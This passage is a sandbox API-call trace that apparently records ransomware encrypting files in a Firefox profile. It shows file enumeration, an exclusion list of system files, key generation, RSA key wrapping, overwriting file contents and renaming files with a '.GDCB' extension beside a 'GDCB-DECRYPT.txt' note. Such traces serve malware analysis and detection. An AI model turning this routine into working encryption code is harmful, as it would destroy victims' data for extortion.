| out: lpFindFileData=0x285e370) returned 0 [0055.410] FindClose (in: hFindFile=0x5b83f0 | out: hFindFile=0x5b83f0) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.410] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.410] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt" [0055.410] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.411] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt") returned 110 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt") returned 110 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt") returned 110 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\GDCB-DECRYPT.txt") returned 110 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.411] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.411] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.411] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.411] lstrcmpW (lpString1="session-state.json", lpString2=".") returned 1 [0055.411] lstrcmpW (lpString1="session-state.json", lpString2="..") returned 1 [0055.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="session-state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" [0055.411] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.411] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112 [0055.411] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="desktop.ini") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="autorun.inf") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="ntuser.dat") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="iconcache.db") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="bootsect.bak") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="boot.ini") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="ntuser.dat.log") returned 1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="thumbs.db") returned -1 [0055.411] lstrcmpiW (lpString1="session-state.json", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.411] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json")) returned 0x20 [0055.412] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json", dwFileAttributes=0x20) returned 1 [0055.412] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.412] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" [0055.412] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.GDCB" [0055.412] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x58fc60) returned 1 [0055.413] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.413] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.413] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.413] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0055.413] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.413] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.413] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x58fc60) returned 1 [0055.413] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.414] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.414] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0055.414] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.414] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.414] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.414] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.414] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5900a0) returned 1 [0055.416] CryptImportKey (in: hProv=0x5900a0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5b83f0) returned 1 [0055.416] CryptGetKeyParam (in: hKey=0x5b83f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0055.416] CryptEncrypt (in: hKey=0x5b83f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0055.416] GetLastError () returned 0x0 [0055.416] CryptReleaseContext (hProv=0x5900a0, dwFlags=0x0) returned 1 [0055.416] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x58fc60) returned 1 [0055.418] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5b84b0) returned 1 [0055.418] CryptGetKeyParam (in: hKey=0x5b84b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0055.418] CryptEncrypt (in: hKey=0x5b84b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e560*=0x100) returned 1 [0055.418] GetLastError () returned 0x0 [0055.418] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.419] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.419] ReadFile (in: hFile=0x508, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e5a0*=0x87, lpOverlapped=0x0) returned 1 [0055.423] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.424] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.424] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.424] SetFilePointer (in: hFile=0x508, lDistanceToMove=-135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.424] WriteFile (in: hFile=0x508, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e598*=0x90, lpOverlapped=0x0) returned 1 [0055.424] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.424] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.427] WriteFile (in: hFile=0x508, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0055.427] WriteFile (in: hFile=0x508, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0055.428] WriteFile (in: hFile=0x508, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e598*=0x10, lpOverlapped=0x0) returned 1 [0055.428] CloseHandle (hObject=0x508) returned 1 [0055.429] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.429] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.429] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.429] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json.gdcb")) returned 1 [0055.430] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.430] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.430] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0055.430] lstrcmpW (lpString1="state.json", lpString2=".") returned 1 [0055.430] lstrcmpW (lpString1="state.json", lpString2="..") returned 1 [0055.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" [0055.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.430] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104 [0055.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104 [0055.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104 [0055.430] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="desktop.ini") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="autorun.inf") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="ntuser.dat") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="iconcache.db") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="bootsect.bak") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="boot.ini") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="ntuser.dat.log") returned 1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="thumbs.db") returned -1 [0055.430] lstrcmpiW (lpString1="state.json", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.430] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json")) returned 0x20 [0055.431] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json", dwFileAttributes=0x20) returned 1 [0055.431] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.431] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" [0055.431] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.GDCB" [0055.431] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x58fc60) returned 1 [0055.432] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.432] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.432] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.432] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0055.432] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.432] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.432] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x58fc60) returned 1 [0055.432] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.433] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.433] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.433] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0055.433] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.433] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.433] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.433] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.433] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x58ff08) returned 1 [0055.435] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5b84f0) returned 1 [0055.435] CryptGetKeyParam (in: hKey=0x5b84f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0055.435] CryptEncrypt (in: hKey=0x5b84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0055.435] GetLastError () returned 0x0 [0055.435] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.435] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x58ff08) returned 1 [0055.437] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x5892e0) returned 1 [0055.437] CryptGetKeyParam (in: hKey=0x5892e0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0055.437] CryptEncrypt (in: hKey=0x5892e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e560*=0x100) returned 1 [0055.437] GetLastError () returned 0x0 [0055.437] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.437] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.438] ReadFile (in: hFile=0x508, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e5a0*=0x33, lpOverlapped=0x0) returned 1 [0055.442] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.442] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.443] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.443] SetFilePointer (in: hFile=0x508, lDistanceToMove=-51, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.443] WriteFile (in: hFile=0x508, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e598*=0x40, lpOverlapped=0x0) returned 1 [0055.443] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.443] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.446] WriteFile (in: hFile=0x508, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0055.446] WriteFile (in: hFile=0x508, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e598*=0x100, lpOverlapped=0x0) returned 1 [0055.446] WriteFile (in: hFile=0x508, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e598, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e598*=0x10, lpOverlapped=0x0) returned 1 [0055.446] CloseHandle (hObject=0x508) returned 1 [0055.447] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.447] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.447] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.447] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json.gdcb")) returned 1 [0055.448] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.448] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x5b8330, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0055.448] FindClose (in: hFindFile=0x5b8330 | out: hFindFile=0x5b8330) returned 1 [0055.448] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0055.448] lstrcmpW (lpString1="extensions.ini", lpString2=".") returned 1 [0055.448] lstrcmpW (lpString1="extensions.ini", lpString2="..") returned 1 [0055.448] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" [0055.448] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.448] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94 [0055.448] lstrlenW 